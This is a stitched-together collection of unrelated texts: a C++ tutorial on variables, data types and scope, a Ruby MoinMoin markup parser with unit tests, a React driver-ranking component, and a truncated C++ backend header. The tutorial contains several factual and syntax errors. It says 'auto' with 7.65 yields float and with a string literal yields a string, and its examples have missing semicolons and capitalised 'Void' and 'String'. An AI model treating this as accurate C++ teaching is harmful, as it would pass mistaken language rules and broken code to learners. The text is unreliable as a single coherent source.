A variable is a storage place that has some memory allocated to it. It is used to store some form of data. Different types of variables require different amounts of memory.
Variable Declaration
In C++, we can declare variables as follows:
data_type: Type of the data that can be stored in this variable. It can be int, float, double, etc.
variable_name: Name given to the variable.
data_type variable_name;
Example: int x;
In this way, we can only create a variable in the memory location. Currently, it doesn’t have any value. We can assign the value in this variable by using two ways:
By using variable initialization.
By taking input
Here, we can discuss only the first way, i.e., variable initialization. We will discuss the second way later.
data_type variable_name = value;
Example: int x = 20;
Rules for defining variables in C++
You can’t begin with a number. Ex- 9a can't be a variable, but a9 can be a variable.
Spaces and special characters except for underscore(_) are not allowed.
C++ keywords (reserved words) must not be used as a variable name.
C++ is case-sensitive, meaning a variable with the name ‘A’ is different from a variable with the name ‘a’. (Difference in the upper-case and lower-case holds true).
C++ Keywords
In addition, the following words are also reserved:
Examples:
Correct
int _a = 10;
int b4 = 10;
float c_5;
Incorrect
int 1a;
float b@ = 2;
String true;
Introduction
Introduction
All variables use data-type during declaration to restrict the type of data to be stored. Therefore, we can say that data types tell the variables the type of data they can store.
Pre-defined data types available in C++ are:
● int: Integer value
● unsigned int: Can store only positive integers.
● float, double: Decimal number
● char: Character values (including special characters)
● unsigned char: Character values
● bool: Boolean values (true or false)
● long: Contains integer values but with the larger size
● unsigned long: Contains large positive integers or 0
● short: Contains integer values but with smaller size
Table for datatype and its size in C++: (This can vary from compiler to compiler and system to system depending on the version you are using)
Examples:
int price = 5000; // Integer (whole number)
float interestRate = 5.99f; // Floating point number
char myLetter = 'D'; // Character
bool isPossible = true; // Boolean
String myText = "Coding Ninjas"; // String
auto keyword in c++
The auto keyword specifies that the type of the declared variable will automatically be deduced from its initializer. It would set the variable type to initialize that variable’s value type or set the function return type as the value to be returned.
Example:
auto a = 11 // will set the variable a as int type
auto b = 7.65 //will set the variable b as float
auto c = "abcdefg" // will set the variable c as string
Scope of a Variable
Scope of a Variable
Scope of a variable refers to the region of visibility or availability of a variable i.e the parts of your program in which the variable can be used or accessed.
There are mainly two types of variable scopes:
Local Scope
Global Scope
1. Local Scope
Variables declared within the body of a function or block are said to have local scope and are referred to as ‘local variables’. They can be used only by the statements inside the body of the function or the block they are declared within.
Example:
void person() {
string gender = "Male";
//This variable gender is local to the function person()
//and cannot be used outside this function.
}
2. Global Scope
The variables whose scope is not limited to any block or function are said to have global scope and are referred to as ‘global variables’. Global variables are declared outside of all the functions, generally on the top of the program, and can be accessed from any part of your program. These variables hold their values throughout the lifetime of the program.
Example:
#include <iostream>
using namespace std;
// Global variable declaration: and can be used anywhere in code
int g;
int main() {
g = 10; // Using global variable
cout << g;
return 0;
}
Types of Variables
Types of Variables
There are three types of variables based on the scope of the variable in C++:
Local Variables
Instance Variables
Static Variables
1. Local Variables
The variables declared within the body of a function or block are known as local variables and are created(occupy memory) when the program enters the block or makes a function call. The local variables get destroyed(memory is released) after exiting from the block or return from the function call. They can be used only by the statements inside the body of the function or the block they are declared within.
Example:
void function() {
//local variable marks
int marks = 90;
marks = marks + 2;
cout << "Student obtained "<<marks<<" marks."
return;
}
Output: Student obtained 92 marks.
2. Instance Variables
Instance variables are non-static variables and belong to an instance of a class and are declared in a class outside any method, constructor, or block. These variables are created when an object of the class is created and destroyed when the object is destroyed and are accessible to all the constructors, methods, or blocks in the class. Each object of the class within which the instance variable is declared will have its own separate copy or instance of this variable.
Unlike local variables, we may use access specifiers for instance variables.
Example:
class A {
int a; // by default private instance variables
int b;
public:
int c; // public instance variable
Void
function () {
a = 10;
cout << a;
}
};
3. Static Variables
Static variables are declared using the keyword ‘static’, within a class outside any method, constructor, or block. Space is allocated only once for static variables i.e we have a single copy of the static variable corresponding to a class, unlike instance variables. The static variables are created at the start of the program and get destroyed at the end of the program i.e the lifetime of a static variable is the lifetime of the program. Static variables are initialized only once and they hold their value throughout the lifetime of the program.
Example:
class A {
static int
var; //static variable
Void func() {
++var;
}
};
|
# moinmoin.rb - MoinMoin file format parser
# Copyright (C) 2006 Akira TAGOH
# Authors:
# Akira TAGOH <[email protected]>
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place - Suite 330,
# Boston, MA 02111-1307, USA.
require 'cgi'
require '../delegator' if $0 == __FILE__
pt = nil
begin
#require 'hpricot'
gem 'hpricot'
pt = 'hpricot'
rescue Exception
begin
require 'htree'
pt = 'htree'
rescue Exception
raise
end
end
raise unless pt
=begin rdoc
==Moinmoin - http://moinmoin.wikiwikiweb.de/HelpOnEditing
==Format:
''blah'' italic
'''blah''' bold
`blah` monospace
{{{blah}}} code
__blah__ underline
^blah^ superscript
,,blah,, subscript
~-blah-~ smaller
~+blah+~ larger
--(blah)-- stroke
[[BR]] insert a line break
= blah = header
== blah == header 2
=== blah === header 3
==== blah ==== header 4
===== blah =====
header 5
WikiName internal link [unsupported]
["Page"] or ["free link"]
internal free link [unsupported]
http://example.net
external link [not implemented here. but rely on auto_link outside this module.]
[:HelpContents:Contents of the Help]
named internal link [unsupported]
[http://example.net example site]
named external link
attachment:graphics.png
local graphics (attachment) [unsupported]
http://example.net/image.png
external graphics
1. blah numbered list
i. blah roman numbered list
I. blah roman numbered list (capital)
a. blah alphabet numbered list
A. blah alphabet numbered list (capital)
. blah unordered list without the list style
blah unordered list without the list style
* blah unordered list
blah:: blah definition list
=end
module DonRails
=begin rdoc
== DonRails::Moinmoin
=end
module Moinmoin
include DonRails::PlainText
=begin rdoc
=== DonRails::Moinmoin#title_to_html
=end
def title_to_html
MoinMoinParser.init_params()
line = self.to_s
line.extend(DonRails::MoinMoinParser)
return line.convert_inline
end # def title_to_html
=begin rdoc
=== DonRails::Moinmoin#title_to_xml
=end
def title_to_xml
return self.title_to_html.gsub(/<\/?\w+(?:\s+[^>]*)*>/m, '')
end # def title_to_xml
=begin rdoc
=== DonRails::Moinmoin#body_to_html
=end
def body_to_html
paragraphs = []
retval = ''
lines = self.to_s.split(/\r\n|\r|\n/)
colorized_module = nil
need_paragraph_separated = false
paragraph_candidate = nil
MoinMoinParser.init_params()
(0..lines.length-1).each do |n|
line = lines[n]
n += 1
line.extend(DonRails::MoinMoinParser)
if line.empty? then
# postpone determining the paragraph separation.
need_paragraph_separated = true
paragraph_candidate = retval if paragraph_candidate.nil?
retval = ''
next
end
# inline syntax, but not allowed for title
if line =~ /\[\[BR\]\]/ then
line.gsub!(/\[\[BR\]\]/, '<br/>')
end
if line =~ /\[\[(\w+)\]\]/ then
# invoking macros
name = $1
proc = DonRails::MoinMoinMacro.find(name)
line.gsub!(/\[\[\w+\]\]/, proc.call) unless proc.nil?
elsif line =~ /\[\[(\w+)\((.*?)\)\]\]/ then
# invoking macros with arguments
name = $1
args = []
harg = {}
$2.split(',').each do |x|
if x =~ /(\S+)\s*=\s*(.*)/ then
harg[$1] = $2
else
args.push(x)
end
end
unless harg.empty? then
args.push(harg)
end
proc = DonRails::MoinMoinMacro.find(name)
line.gsub!(/\[\[\w+\]\]/, proc.call(*args)) unless proc.nil?
end
if line =~ /\A(=+)\s+(.*)\s+(=+)\Z/ then
shlen = $1.length
context = $2
ehlen = $3.length
if shlen == ehlen then
ehlen = shlen = 5 if shlen > 5
if need_paragraph_separated then
paragraph_candidate << MoinMoinParser.flush_blocks
unless paragraph_candidate.empty? then
paragraphs.push(paragraph_candidate)
end
paragraph_candidate = nil
need_paragraph_separated = false
end
retval << sprintf("<h%d>%s</h%d>", shlen, context, ehlen)
next
end
end
if line =~ /\A(\-+)\Z/ then
hrlen = $1.length
if hrlen >= 4 then
hrlen = 10 if hrlen > 10
if need_paragraph_separated then
paragraph_candidate << MoinMoinParser.flush_blocks
unless paragraph_candidate.empty? then
paragraphs.push(paragraph_candidate)
end
paragraph_candidate = nil
need_paragraph_separated = false
end
retval << sprintf("<hr%s/>", (hrlen > 4 ? sprintf(" class=\"hr%d\"", hrlen - 4) : ''))
next
end
end
if line =~ /\{\{\{.*?*\}\}\}/ then
line.gsub!(/(.*)\{\{\{(.*?)\}\}\}(.*)/,
sprintf("%s<tt>%s</tt>%s",
$1.extend(DonRails::MoinMoinParser).convert_inline,
$2,
$3.extend(DonRails::MoinMoinParser).convert_inline))
line.gsub!(/<tt><\/tt>/, '')
elsif line =~ /\A\{\{\{#!(.*)\Z/ then
# colorized code
colorized_module = $1
else
line = line.convert_inline
end
# precheck for linebreak
if need_paragraph_separated then
if line =~ /\A(\s+).*/ then
retval = sprintf("%s%s", paragraph_candidate, retval)
else
paragraph_candidate << MoinMoinParser.flush_blocks
unless paragraph_candidate.empty? then
paragraphs.push(paragraph_candidate)
end
end
paragraph_candidate = nil
need_paragraph_separated = false
end
retval << line.convert_block
end
retval << MoinMoinParser.flush_blocks
unless retval.empty? then
paragraphs.push(retval)
end
return "<p>" + paragraphs.join('</p><p>') + "</p>"
end # def body_to_html
=begin rdoc
=== DonRails::Moinmoin#body_to_xml
=end
def body_to_xml
begin
bth = '<html><body>' + self.body_to_html + '</body></html>'
if pt == 'hpricot'
return Hpricot.XML(bth)
elsif pt == 'htree'
xml = HTree.parse(bth).to_rexml
return xml.to_s
end
rescue
p $!
return self.body_to_html
end
end # def body_to_xml
=begin rdoc
==== DonRails::Moinmoin::BlockTagBase
=end
class NotImplementedYet < StandardError; end
class BlockTagBase
def to_tag
raise NotImplementedYet
end # def to_tag
def to_sym
raise NotImplementedYet
end # def to_sym
end # class BlockTagBase
=begin rdoc
==== DonRails::Moinmoin::List
=end
class List < BlockTagBase
def initialize(list_type)
@list_type = list_type
end # def initialize
def to_sym
return @list_type.to_sym
end # def to_sym
def to_tag
retval = ''
case @list_type
when :nlist, :nlist_with_i, :nlist_with_I, :nlist_with_a, :nlist_with_A
retval = 'ol'
when :ulist, :ulist_no_style, :ulist_no_style_or_append_line
retval = 'ul'
when :dlist
retval = 'dl'
else
end
return retval
end # def to_tag
def params
retval = ''
case @list_type
when :nlist
retval = ' type="1"'
when :ulist, :ulist_no_style, :ulist_no_style_or_append_line
when :nlist_with_i, :nlist_with_I, :nlist_with_a, :nlist_with_A
retval = sprintf(" type=\"%s\"", @list_type.to_s.sub(/\Anlist_with_/, ''))
when :dlist
else
end
return retval
end # def params
def item_params
retval = ''
case @list_type
when :nlist, :nlist_with_i, :nlist_with_I, :nlist_with_a, :nlist_with_A
when :ulist
when :ulist_no_style, :ulist_no_style_or_append_line
retval = ' style="list-style-type:none"'
when :dlist
else
end
return retval
end # def params
end # class List
end # module Moinmoin
module MoinMoinParser
@@is_bold = false
@@is_italic = false
@@is_pre = false
@@indent_level = 0
@@tag_stack = []
@@content_stack_level = -1
@@table_stack = []
BlockStruct = Struct.new(:tag, :indent_level, :is_child_closed)
class << self
def init_params
@@is_bold = false
@@is_italic = false
@@is_pre = false
@@indent_level = 0
@@tag_stack = []
@@content_stack_level = -1
@@table_stack = []
end # def init_params
def flush_table
retval = ''
ncolumn = 0
@@table_stack.each do |x|
ncolumn = x.length if x.length > ncolumn
end
# XXX: tags not yet implemented
# XXX: table generated doesn't look like moinmoin. need rework to get better.
retval << "<table>"
@@table_stack.each do |x|
retval << "<tr>"
0.upto(ncolumn-1) do |n|
retval << sprintf("<td>%s</td>", x[n]) unless x[n].nil?
end
retval << "</tr>"
end
retval << "</table>"
@@table_stack.clear
return retval
end # def flush_table
def flush_block(info)
retval = ''
retval << '</li>' unless info.is_child_closed
retval << sprintf("</%s>", info.tag.to_tag)
return retval
end # def flush_block
def flush_blocks
retval = ''
retval << DonRails::MoinMoinParser.flush_table unless @@table_stack.empty?
@@tag_stack.reverse.each do |info|
retval << flush_block(info)
end
@@tag_stack.clear
return retval
end # def flush_blocks
end
def convert_inline
target = self.to_s
supported_image_format = '\.(?:jpg|jpeg|png|gif|tiff)'
supported_protocol_format = '(?:\w+:\/\/)'
return target if @@is_pre
if target =~ /'''''.*?''.*'''/ then
# <strong><em>blah</em>...</strong>
target.gsub!(/'''(''.*?''.*)'''/, '<strong>\1</strong>')
elsif target =~ /'''''.*?'''.*''/ then
# <em><strong>blah</em>...</strong>
target.gsub!(/((?:''))'''(.*?)'''(.*(?:''))/, '\1<strong>\2</strong>\3')
elsif target =~ /'''.*?(?:(?:'').*(?:''))'''/ then
target.gsub!(/'''(.*?(?:(?:'').*(?:'')))'''/, '<strong>\1</strong>')
elsif target =~ /'''.*?'''/ then
target.gsub!(/'''(.*?)'''/, '<strong>\1</strong>')
target.gsub!(/<strong><\/strong>/, '')
end
if target =~ /''.*?''/ then
target.gsub!(/''(.*?)''/, '<em>\1</em>')
target.gsub!(/<em><\/em>/, '')
end
if target =~ /'''/ then
target.sub!(/'''/, (@@is_bold ? '</strong>' : '<strong>'))
@@is_bold = !@@is_bold
end
if target =~ /''/ then
target.sub!(/''/, (@@is_italic ? '</em>' : '<em>'))
@@is_italic = !@@is_italic
end
if target =~ /__.*?__/ then
target.gsub!(/__(.*?)__/, '<u>\1</u>')
target.gsub!(/<u><\/u>/, '')
end
if target =~ /\^[^^]*\^/ then
target.gsub!(/\^([^^]*)\^/, '<sup>\1</sup>')
target.gsub!(/<sup><\/sup>/, '')
end
if target =~ /,,.*?,,/ then
target.gsub!(/,,(.*?),,/, '<sub>\1</sub>')
target.gsub!(/<sub><\/sub>/, '')
end
if target =~ /~\-.*?\-~/ then
target.gsub!(/~\-(.*?)\-~/, '<small>\1</small>')
target.gsub!(/<small><\/small>/, '')
end
if target =~ /~\+.*?\+~/ then
target.gsub!(/~\+(.*?)\+~/, '<big>\1</big>')
target.gsub!(/<big><\/big>/, '')
end
if target =~ /\-\-\(.*?\)\-\-/ then
target.gsub!(/\-\-\((.*?)\)\-\-/, '<stroke>\1</stroke>')
target.gsub!(/<stroke><\/stroke>/, '')
end
if target =~ /\[#{supported_protocol_format}[^\[\s]*\s+[^\[]*\]/ then
target.gsub!(/\[(#{supported_protocol_format}[^\[\s]*)\s+([^\[]*)\]/, '<a href="\1">\2</a>')
end
if target =~ /\[#{supported_protocol_format}[^\[\s]*#{supported_image_format}\]/ then
target.gsub!(/\[(#{supported_protocol_format}[^\[\s]*)\]/, '<a href="\1"><img alt="\1" src="\1" title="\1"/></a>')
end
if target =~ /\[#{supported_protocol_format}[^\[\s]*\]/ then
target.gsub!(/\[(#{supported_protocol_format}[^\[\s]*)\]/, '<a href="\1">\1</a>')
end
if target =~ /(?:\A|\s+)(#{supported_protocol_format}\S+#{supported_image_format})(?:\Z|\s+)/ then
url = $1
filename = File.basename(url).gsub(/\.\S+\Z/, '')
target.gsub!(/(#{supported_protocol_format}\S+#{supported_image_format})/,
sprintf("<img alt=\"%s\" src=\"%s\" title=\"%s\"/>",
filename, url, filename))
end
if target =~ /(?:\A|\s+)(#{supported_protocol_format}\S+)(?:\Z|\s+)/ then
url = $1
target.gsub!(/(#{supported_protocol_format}\S+)/,
sprintf("<a href=\"%s\">%s</a>", url, url))
end
return convert_smileys
end # def convert_inline
def convert_smileys
target = self.to_s
smileys = {
'\(!\)' => 'idea.png',
'\(\./\)' => 'checkmark.png',
"\/!\\\\" => 'alert.png',
':\(' => 'sad.png',
':\)' => 'smile.png',
':\)\)' => 'smile3.png',
':\-\(' => 'sad.png',
':\-\)' => 'smile.png',
':\-\)\)' => 'smile3.png',
':\-\?' => 'tongue.png',
':D' => 'biggrin.png',
':\\\\' => 'ohwell.png',
':o' => 'redface.png',
';\)' => 'smile4.png',
';\-\)' => 'smile4.png',
'<!>' => 'attention.png',
'<:\(' => 'frown.png',
'>:>' => 'devil.png',
'B\)' => 'smile2.png',
'B\-\)' => 'smile2.png',
'X\-\(' => 'angry.png',
'\{\*\}' => 'star_on.png',
'\{1\}' => 'prio1.png',
'\{2\}' => 'prio2.png',
'\{3\}' => 'prio3.png',
'\{OK\}' => 'thumbs-up.png',
'\{X\}' => 'icon-error.png',
'\{i\}' => 'icon-info.png',
'\{o\}' => 'star_off.png',
'\|\)' => 'tired.png',
'\|\-\)' => 'tired.png',
}
smileys.each do |k, v|
if target =~ /#{k}/ then
# XXX: need some configuration stuff to determine where icons are installed on.
# target.gsub!(/#{k}/,
# sprintf("<img alt=\"%s\" height=\"15\" src=\"%s\" title=\"%s\" width=\"15\"/>",
# k, v, k))
end
end
return target
end # def convert_smileys
def convert_block
retval = ''
target = self.to_s
was_pre = @@is_pre
list_type = nil
indent_level = 0
content = nil
nstart = nil
is_table = false
if target =~ /\{\{\{\Z/ && !@@is_pre then
@@is_pre = true
target.sub!(/\{\{\{\Z/, '<pre>')
end
if target =~ /\}\}\}\Z/ && @@is_pre then
@@is_pre = false
was_pre = false
target.sub!(/\}\}\}\Z/, '</pre>')
end
return target + "\n" if @@is_pre && was_pre
if target =~ /\A(\s+)\d+\.((?:#\d+)?)\s+(.*)/ then
indent_level = $1.length
nstart = $2
content = $3
nstart = nil if nstart.empty?
list_type = :nlist
elsif target =~ /\A(\s+)\*\s+(.*)/ then
indent_level = $1.length
content = $2
list_type = :ulist
elsif target =~ /\A(\s+)(i|I|a|A)\.((?:#\d+)?)\s+(.*)/ then
indent_level = $1.length
style = $2
nstart = $3
content = $4
nstart = nil if nstart.empty?
list_type = sprintf("nlist_with_%s", style).to_sym
elsif target =~ /\A(\s+)\.\s+(.*)/ then
indent_level = $1.length
content = $2
list_type = :ulist_no_style
elsif target =~ /\A(\s+)(.*)::\s+(.*)\Z/ then
indent_level = $1.length
content = sprintf("<dt>%s</dt><dd>%s</dd>", $2, $3)
list_type = :dlist
elsif target =~ /\A(\s+)(.*)/ then
indent_level = $1.length
content = $2
list_type = :ulist_no_style_or_append_line
elsif target =~ /\A\|\|(.*)\|\|\Z/ then
@@table_stack.push($1.split('||'))
is_table = true
else
retval << target
end
if !@@table_stack.empty? && !is_table then
retval << DonRails::MoinMoinParser.flush_table
end
unless list_type.nil? then
retval << convert_block_list(list_type, indent_level, nstart, content)
end
return retval
end # def convert_block
private
def convert_block_list(list_type, indent_level, nstart, content)
retval = ''
if indent_level > @@indent_level then
@@content_stack_level += 1
tag = DonRails::Moinmoin::List.new(list_type)
@@tag_stack.push(BlockStruct.new(tag, indent_level, false))
@@indent_level = indent_level
if list_type == :dlist then
retval << sprintf("<%s>%s", tag.to_tag, content)
@@tag_stack[@@content_stack_level].is_child_closed = true
else
retval << sprintf("<%s%s%s><li%s>%s", tag.to_tag,
(nstart.nil? ? "" : sprintf(" start=\"%d\"", nstart.sub(/\A#/, '').to_i)),
tag.params, tag.item_params, content)
end
elsif indent_level == @@indent_level then
if list_type == :ulist_no_style_or_append_line then
retval << sprintf(" %s", content)
elsif list_type == :dlist then
if @@tag_stack[@@content_stack_level].tag.to_sym != :dlist &&
!@@tag_stack[@@content_stack_level].is_child_closed then
retval << '</li>'
@@tag_stack[@@content_stack_level].is_child_closed = true
end
retval << content
else
retval << '</li>' unless @@tag_stack[@@content_stack_level].is_child_closed
retval << sprintf("<li%s>%s", @@tag_stack[@@content_stack_level].tag.item_params, content)
end
else
info = @@tag_stack.pop
@@content_stack_level -= 1
if @@tag_stack.empty? then
@@indent_level = 0
else
@@indent_level = @@tag_stack[@@tag_stack.length-1].indent_level
end
retval = MoinMoinParser.flush_block(info)
retval << convert_block_list(list_type, indent_level, nstart, content)
end
return retval
end # def convert_block_list
end # module MoinMoinParser
module MoinMoinMacro
class << self
def find(name)
# XXX: implement me
return nil
end # def find
end
end # module MoinMoinMacro
end # module DonRails
if $0 == __FILE__ then
require 'runit/testcase'
require 'runit/cui/testrunner'
class TestDonRails__Moinmoin < RUNIT::TestCase
def __getobj__(str)
str.extend(DonRails::Moinmoin)
return str
end # def __getobj__
def setup
end # def setup
def teardown
end # def teardown
def test_body_to_html
assert_equal('<p><em>Italic</em></p>', __getobj__("''Italic''\n").body_to_html)
assert_equal('<p><em>foo</em>bar<em>baz</em></p>', __getobj__("''foo''bar''\nbaz''\n").body_to_html)
assert_equal('<p><strong>Bold</strong></p>', __getobj__("'''Bold'''\n").body_to_html)
assert_equal('<p><strong>Bold:</strong></p>', __getobj__("'''Bold:'''\n").body_to_html)
assert_equal("<p><strong>'bold</strong></p>", __getobj__("''''bold'''\n").body_to_html)
assert_equal('<p><em><strong>Mix</strong> at the beginning</em></p>', __getobj__("'''''Mix''' at the beginning''\n").body_to_html)
assert_equal('<p><strong><em>Mix</em> at the beginning</strong></p>', __getobj__("'''''Mix'' at the beginning'''\n").body_to_html)
assert_equal('<p><strong>Mix at the <em>end</em></strong></p>', __getobj__("'''Mix at the ''end'''''\n").body_to_html)
assert_equal('<p><em>Mix at the <strong>end</strong></em></p>', __getobj__("''Mix at the '''end'''''\n").body_to_html)
assert_equal('<p><em>foo<strong>bar</em>baz</strong>hoge</p>', __getobj__("''foo'''bar''baz'''hoge\n").body_to_html)
assert_equal('<p><u>underline</u></p>', __getobj__("__underline__").body_to_html)
assert_equal('<p><u><strong>underline</strong></u></p>', __getobj__("__'''underline'''__\n").body_to_html)
assert_equal('<p><sup>super</sup>script</p>', __getobj__("^super^script\n").body_to_html)
assert_equal('<p><sub>sub</sub>script</p>', __getobj__(",,sub,,script\n").body_to_html)
assert_equal('<p><small>small</small></p>', __getobj__("~-small-~\n").body_to_html)
assert_equal('<p><big>big</big></p>', __getobj__("~+big+~\n").body_to_html)
assert_equal('<p><stroke>stroke</stroke></p>', __getobj__("--(stroke)--\n").body_to_html)
assert_equal('<p><em>a</em><sup>2</sup> + <em>b</em><sup>2</sup> = <em>c</em><sup>2</sup></p>', __getobj__("''a''^2^ + ''b''^2^ = ''c''^2^\n").body_to_html)
assert_equal('<p><h1>foo</h1></p>', __getobj__("= foo =\n").body_to_html)
assert_equal('<p><h2>foo</h2></p>', __getobj__("== foo ==\n").body_to_html)
assert_equal('<p><h3>foo</h3></p>', __getobj__("=== foo ===\n").body_to_html)
assert_equal('<p><h4>foo</h4></p>', __getobj__("==== foo ====\n").body_to_html)
assert_equal('<p><h5>foo</h5></p>', __getobj__("===== foo =====\n").body_to_html)
assert_equal('<p><h5>foo</h5></p>', __getobj__("====== foo ======\n").body_to_html)
assert_equal('<p>===== foo ====</p>', __getobj__("===== foo ====\n").body_to_html)
assert_equal('<p><hr/></p>', __getobj__("----\n").body_to_html)
assert_equal('<p><hr class="hr1"/></p>', __getobj__("-----\n").body_to_html)
assert_equal('<p><hr class="hr2"/></p>', __getobj__("------\n").body_to_html)
assert_equal('<p><hr class="hr3"/></p>', __getobj__("-------\n").body_to_html)
assert_equal('<p><hr class="hr4"/></p>', __getobj__("--------\n").body_to_html)
assert_equal('<p><hr class="hr5"/></p>', __getobj__("---------\n").body_to_html)
assert_equal('<p><hr class="hr6"/></p>', __getobj__("----------\n").body_to_html)
assert_equal('<p><hr class="hr6"/></p>', __getobj__("--------------------\n").body_to_html)
assert_equal('<p>---</p>', __getobj__("---\n").body_to_html)
assert_equal('<p><a href="http://example.net">example site</a></p>', __getobj__("[http://example.net example site]\n").body_to_html)
assert_equal('<p><a href="http://example.net">http://example.net</a></p>', __getobj__("[http://example.net]\n").body_to_html)
assert_equal('<p><img alt="donrails" src="http://example.net/donrails.png" title="donrails"/></p>', __getobj__("http://example.net/donrails.png\n").body_to_html)
assert_equal('<p><a href="http://example.net/donrails.png"><img alt="http://example.net/donrails.png" src="http://example.net/donrails.png" title="http://example.net/donrails.png"/></a></p>', __getobj__("[http://example.net/donrails.png]\n").body_to_html)
assert_equal('<p><a href="http://example.net/donrails.png">donrails.png</a></p>', __getobj__("[http://example.net/donrails.png donrails.png]\n").body_to_html)
assert_equal('<p><br/></p>', __getobj__("[[BR]]\n").body_to_html)
assert_equal('<p>foo</p><p>bar</p>', __getobj__("foo\n\nbar\n").body_to_html)
assert_equal('<p>foo</p><p>bar</p>', __getobj__("foo\n\n\nbar\n").body_to_html)
assert_equal("<p><pre>foo\nbar\n</pre></p>", __getobj__("{{{\nfoo\nbar\n}}}\n").body_to_html)
assert_equal('<p><ol type="1"><li>foo</li><li>bar</li></ol></p>', __getobj__(" 1. foo\n 1. bar\n").body_to_html)
assert_equal('<p><ol type="1"><li>foo<ol type="1"><li>bar</li></ol></li></ol></p>', __getobj__(" 1. foo\n 1. bar\n").body_to_html)
assert_equal('<p><ol type="1"><li>foo<ol type="1"><li>bar</li></ol></li><li>baz</li></ol></p>', __getobj__(" 1. foo\n 1. bar\n 1. baz\n").body_to_html)
assert_equal("<p><ol type=\"1\"><li>foo</li><li><pre>foo\nbar\n</pre></li></ol></p>", __getobj__(" 1. foo\n 1. {{{\nfoo\nbar\n}}}\n").body_to_html)
assert_equal('<p><ul><li style="list-style-type:none">foo</li><li style="list-style-type:none">bar</li></ul></p>', __getobj__(" . foo\n . bar\n").body_to_html)
assert_equal('<p><ul><li>foo</li><li>bar</li></ul></p>', __getobj__(" * foo\n * bar\n").body_to_html)
assert_equal('<p><ul><li>foo</li><li>bar</li><li>baz<ul><li>fooo<ul><li>foooo</li></ul></li></ul></li><li>hoge</li></ul></p>', __getobj__(" * foo\n * bar\n * baz\n * fooo\n * foooo\n * hoge\n").body_to_html)
assert_equal('<p><ul><li>foo bar</li></ul></p>', __getobj__(" * foo\n bar\n").body_to_html)
assert_equal('<p><ul><li>foo bar</li></ul></p>', __getobj__(" * foo\n bar\n").body_to_html)
assert_equal('<p><ul><li>foo bar<ul><li style="list-style-type:none">baz</li></ul></li></ul></p>', __getobj__(" * foo\n bar\n baz\n").body_to_html)
assert_equal('<p><ol type="i"><li>foo</li><li>bar</li></ol></p>', __getobj__(" i. foo\n i. bar\n").body_to_html)
assert_equal('<p><ol type="I"><li>foo</li><li>bar</li></ol></p>', __getobj__(" I. foo\n I. bar\n").body_to_html)
assert_equal('<p><ol type="a"><li>foo</li><li>bar</li></ol></p>', __getobj__(" a. foo\n a. bar\n").body_to_html)
assert_equal('<p><ol type="A"><li>foo</li><li>bar</li></ol></p>', __getobj__(" A. foo\n A. bar\n").body_to_html)
assert_equal('<p><ol start="42" type="I"><li>foo</li><li>bar</li></ol></p>', __getobj__(" I.#42 foo\n I. bar\n").body_to_html)
assert_equal('<p><ol start="42" type="I"><li>foo</li><li>bar</li></ol></p>', __getobj__(" I.#42 foo\n I.#44 bar\n").body_to_html)
assert_equal('<p><ul><li>foo</li></ul></p><p>bar</p>', __getobj__(" * foo\n\nbar\n").body_to_html)
assert_equal('<p><dl><dt>term</dt><dd>definition</dd></dl></p>', __getobj__(" term:: definition\n").body_to_html)
assert_equal('<p><dl><dt>term</dt><dd>definition</dd><dt>another term</dt><dd>and its definition</dd></dl></p>', __getobj__(" term:: definition\n another term:: and its definition\n").body_to_html)
assert_equal('<p>foo<ul><li>list 1</li><li>list 2<ol type="1"><li>number 1</li><li>number 2</li></ol></li><dt>term</dt><dd>definition</dd></ul></p><p><a href="https://mope.example.net/mope/">https://mope.example.net/mope/</a></p>', __getobj__("foo\n * list 1\n * list 2\n 1. number 1\n 1. number 2\n\n term:: definition\n\nhttps://mope.example.net/mope/\n").body_to_html)
assert_equal('<p>foo<ul><li>list 1</li><li>list 2<ol type="1"><li>number 1</li><li>number 2</li><dt>term</dt><dd>definition</dd></ol></li></ul></p><p><a href="https://mope.example.net/mope/">https://mope.example.net/mope/</a></p>', __getobj__("foo\n * list 1\n * list 2\n 1. number 1\n 1. number 2\n\n term:: definition\n\nhttps://mope.example.net/mope/\n").body_to_html)
assert_equal('<p>foo<ul><li>list 1</li><li>list 2<ol type="1"><li>number 1</li><li>number 2<dl><dt>term</dt><dd>definition</dd></dl></li></ol></li></ul></p><p><a href="https://mope.example.net/mope/">https://mope.example.net/mope/</a></p>', __getobj__("foo\n * list 1\n * list 2\n 1. number 1\n 1. number 2\n\n term:: definition\n\nhttps://mope.example.net/mope/\n").body_to_html)
assert_equal('<p>foo<ul><li>list 1</li><li>list 2<ol type="1"><li>number 1</li><li>number 2</li></ol></li></ul><dl><dt>term</dt><dd>definition</dd></dl></p><p><a href="https://mope.example.net/mope/">https://mope.example.net/mope/</a></p>', __getobj__("foo\n * list 1\n * list 2\n 1. number 1\n 1. number 2\n\n term:: definition\n\nhttps://mope.example.net/mope/\n").body_to_html)
# assert_equal('<p><table><tr><td>foo</td><td>bar</td></tr></table></p>', __getobj__("||foo||bar||\n").body_to_html)
assert_equal('<p></p>', __getobj__("\n").body_to_html)
end # def test_body_to_html
end # class TestDonRails__Moinmoin
suite = RUNIT::TestSuite.new
ObjectSpace.each_object(Class) do |klass|
if klass.ancestors.include?(RUNIT::TestCase) then
suite.add_test(klass.suite)
end
end
RUNIT::CUI::TestRunner.run(suite)
end
|
import { Row, Col, Button } from "react-bootstrap";
import { IDriver } from "../interfaces/component.interface"
interface IProps {
index: number
driver: IDriver
overtake: (id:number) => void
}
//display driver details with rb grid
export default function Driver(props:IProps) {
const { id, code, firstname, lastname, country, team } = props.driver;
return(
<Row className="driver-container">
<Col className="place" lg={1}>
<p>{props.index + 1}</p>
</Col>
<Col lg={2}>
<img className="driver-avatar" alt="driver" src={`${process.env.REACT_APP_API_URL}/${code}.png`}/>
</Col>
<Col lg={6} className="driver-details">
<p className="name">{firstname} {lastname}</p>
<div className="country-details">
<p>{country}</p>
<img className="country" src={`https://countryflagsapi.com/png/${country}`} alt="flag"></img>
</div>
<p>{team}</p>
</Col>
<Col lg={3} className="interaction-container">
<Button onClick={() => props.overtake(id)}>Overtake</Button>
</Col>
</Row>
)
}
|
// Author: Daan van den Bergh
// Copyright: � 2022 Daan van den Bergh.
// Backend endpoints.
namespace backend {
// User endpoints.
namespace user {
// Get projects.
